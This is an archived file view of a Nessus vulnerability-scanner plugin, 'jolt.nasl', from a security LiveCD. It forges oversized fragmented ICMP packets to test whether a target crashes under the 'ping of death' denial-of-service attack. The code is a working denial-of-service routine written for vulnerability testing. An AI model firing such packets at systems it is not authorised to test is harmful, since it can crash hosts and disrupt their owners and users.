home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / jolt.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  85 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # GNU Public Licence
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(11903);
  10.  script_version ("$Revision: 1.4 $");
  11.  
  12.  name["english"] = "ping of death";
  13.  script_name(english:name["english"]);
  14.  
  15.  desc["english"] = "
  16. The machine crashed when pinged with an incorrectly fragmented packet.
  17. This is known as the 'jolt' or 'ping of death' denial of service attack.
  18.  
  19. An attacker may use this flaw to shut down this server,
  20. thus preventing you from working properly.
  21.  
  22. Solution : contact your operating system vendor for a patch.
  23.  
  24. Risk factor : High";
  25.  
  26.  script_description(english:desc["english"]);
  27.  
  28.  summary["english"] = "Crash target with a too long fragmented packets";
  29.  script_summary(english:summary["english"]);
  30.  
  31.  script_category(ACT_KILL_HOST);
  32.  
  33.  script_copyright(english:"This script is Copyright (C) 2003 Michel Arboi");
  34.  family["english"] = "Denial of Service";
  35.  family["francais"] = "DΘni de service";
  36.  script_family(english:family["english"], francais:family["francais"]);
  37.  
  38.  exit(0);
  39. }
  40.  
  41. #
  42.  
  43. id = rand() % 65536;
  44.  
  45. if (! mtu) mtu = 1500; 
  46. maxdata = mtu - 20 - 8;    # IP + ICMP
  47. maxdata = maxdata / 8; maxdata = maxdata * 8;
  48. if (maxdata < 16) maxdata = 544;
  49.  
  50. dl = 65535 / (mtu - 20); 
  51. dl ++;
  52. dl *= maxdata;
  53.  
  54. src = this_host();
  55.  
  56. id = rand() % 65535 + 1;
  57. seq = rand() % 256;
  58.  
  59. start_denial();
  60. for (j = 0; j < dl; j=j+maxdata)
  61. {
  62.   datalen = dl - j;
  63.   o = j / 8;
  64.   if (datalen > maxdata) {
  65.    o = o | 0x2000;
  66.    datalen = maxdata;
  67.   }
  68.  
  69.   ##display(string("j=", j, "; o=", o, ";dl=", datalen, "\n"));
  70.   ip = forge_ip_packet(ip_v:4, ip_hl:5, ip_tos:0, ip_off:o,
  71.                         ip_p:IPPROTO_ICMP, ip_id:id, ip_ttl:0x40,
  72.                      ip_src: src);
  73.   icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
  74.                    icmp_seq: seq, icmp_id:seq, data:crap(datalen-8));
  75.   send_packet(icmp, pcap_active: 0);
  76. }
  77.  
  78. alive = end_denial();
  79. if(!alive)
  80. {
  81.     security_hole();
  82.     set_kb_item(name:"Host/dead", value:TRUE);
  83. }
  84.  
  85.